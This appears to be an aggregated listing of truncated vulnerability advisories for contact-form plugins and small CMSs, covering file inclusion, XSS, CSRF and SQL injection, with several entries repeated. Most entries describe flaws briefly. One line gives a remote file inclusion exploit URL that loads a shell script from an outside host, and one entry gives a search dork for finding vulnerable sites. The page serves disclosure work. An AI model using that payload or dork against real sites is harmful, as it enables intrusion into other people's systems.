Free Real Estate Contact Form v1.09 - Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================== Free Real Estate Contact Form v1.09 - Local File Inclusion Vulnerability ======================================================================== Application Info:...

Free Real Estate Contact Form 1.09 - Local File Inclusion

Free Real Estate Contact Form 1.09 - Local File Inclusion Securitylab.ir Application Info: Name: Free Real Estate Contact Form Version: 1.09 Vendor: http://www.phpkobo.com/realestatecontact.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability:...

Cross site scripting

Cross-site scripting XSS vulnerability in the Contact module modules/contact/contact.admin.inc or modules/contact/contact.module in Drupal Core 5.x before 5.21 and 6.x before 6.15 allows remote authenticated users with "administer site-wide contact form" permissions to inject arbitrary web script...

CVE-2009-4369

Cross-site scripting XSS vulnerability in the Contact module modules/contact/contact.admin.inc or modules/contact/contact.module in Drupal Core 5.x before 5.21 and 6.x before 6.15 allows remote authenticated users with "administer site-wide contact form" permissions to inject arbitrary web script...

eliteCMS 1.01 (SQL/XSS) Multiple Remote Vulnerabilities

No description provided by source. eliteCMS 1.01 SQL/XSS Multiple Remote Vulns by xenohive greets to daganarus, dearest of all my friends. SQL injection requires magicquotes = off -/includes/functions.php --------------------------------- 89. function getpagesettings ... 92. $query = "SELECT FROM...

Pluck 4.6.2 (langpref) Local File Inclusion Vulnerabilities

No description provided by source. =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::pluck version 4.6.2 ------------------------------------------------- Author: ahmadbady my site :Coming Soon =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= download...

Pluck CMS 4.6.2 - 'langpref' Local File Inclusion

=-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::pluck version 4.6.2 ------------------------------------------------- Author: ahmadbady my site :Coming Soon =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= download from:http://www.pluck-cms.org/?file=kop2.p...

New vulnerabilities in Contact Form ][ for WordPress

Здравствуйте 3APA3A! Сообщаю вам о найденных мною Cross-Site Request Forgery и Cross-Site Scripting уязвимостях в плагине Contact Form для WordPress. CSRF: Страница опций плагина http://site/wp-admin/admin.php?page=wp-contact-form/options-contactform.php уязвима к CSRF. Что позволяет проводить XS...

Vulnerabilities in Contact Form ][ for WordPress

Здравствуйте 3APA3A! Сообщаю вам о найденных мною Insufficient Anti-automation, Abuse of Functionality и Cross-Site Scripting уязвимостях в плагине Contact Form для WordPress. Insufficient Anti-automation: Отсутствие капчи позволяет слать автоматические сообщения в частности спам админам сайта...

Unfixed XSS vulnerability at www.sv-usa.com

Security researcher DaiMon, has submitted on 02/07/2008 a cross-site-scripting XSS vulnerability affecting www.sv-usa.com, which at the time of submission ranked 12214853 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 05/07/2008. It is current...

WordPress Contact Form Plugin <= 7.3 - Remote File Inclusion

Because of this vulnerability in cforms-css.php, the attackers can execute arbitrary PHP code via a URL in the "tm" parameter. Solution Update the plugin...

contactforms-rfi.txt

Discovery by: Sw33t h4cK3r ----------- Exploit : http://Example.com/contactforms/cforms-css.php?tm=http://site.com/shell.php...

PT-2008-1843 · WordPress · Wp-Contactform

Name of the Vulnerable Software and Affected Versions: WP-ContactForm plugin for WordPress versions 1.5 alpha and earlier Description: The issue concerns multiple cross-site request forgery CSRF vulnerabilities. These vulnerabilities allow remote attackers to perform actions as administrators. Th...

WordPress Contact Form Plugin <= 1.5 - Multiple XSS

Because of these vulnerabilities, the attackers can inject arbitrary web script or HTML. Solution Update the plugin...

WordPress Contact Form Plugin <= 1.5 - Multiple CSRF

Because of these vulnerabilities, the attackers can perform actions as administrators. Solution Update the plugin...

moonware-multi.txt

Moonware Software Multiple Vulnerabilities by s0cratex -------- MSN: s0cratexatnasadotgov Moonware Homepage: http://dalemooney.lost-soldiers.com I. Moon Gallery ---- ------- Bug: Arbitrary file upload Dork: "Powered by: Dale Mooney Gallery" Details: The file /config/upload.php don't have any...

Cross site scripting

Cross-site scripting XSS vulnerability in sample-forms/simple-contact-form-with-preview/simple-contact-form-with-preview.html in MitriDAT eMail Form Processor Pro allows remote attackers to inject arbitrary web script or HTML via the basepath parameter, possibly related to 1 formprocessorpro.php ...

Cross site scripting

Cross-site scripting XSS vulnerability in the preview form in Stephen Ostermiller Contact Form before 2.00.02 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors that contain an apostrophe...

CVE-2007-3352

Cross-site scripting XSS vulnerability in the preview form in Stephen Ostermiller Contact Form before 2.00.02 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors that contain an apostrophe...

CVE-2007-3352

Cross-site scripting XSS vulnerability in the preview form in Stephen Ostermiller Contact Form before 2.00.02 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors that contain an apostrophe...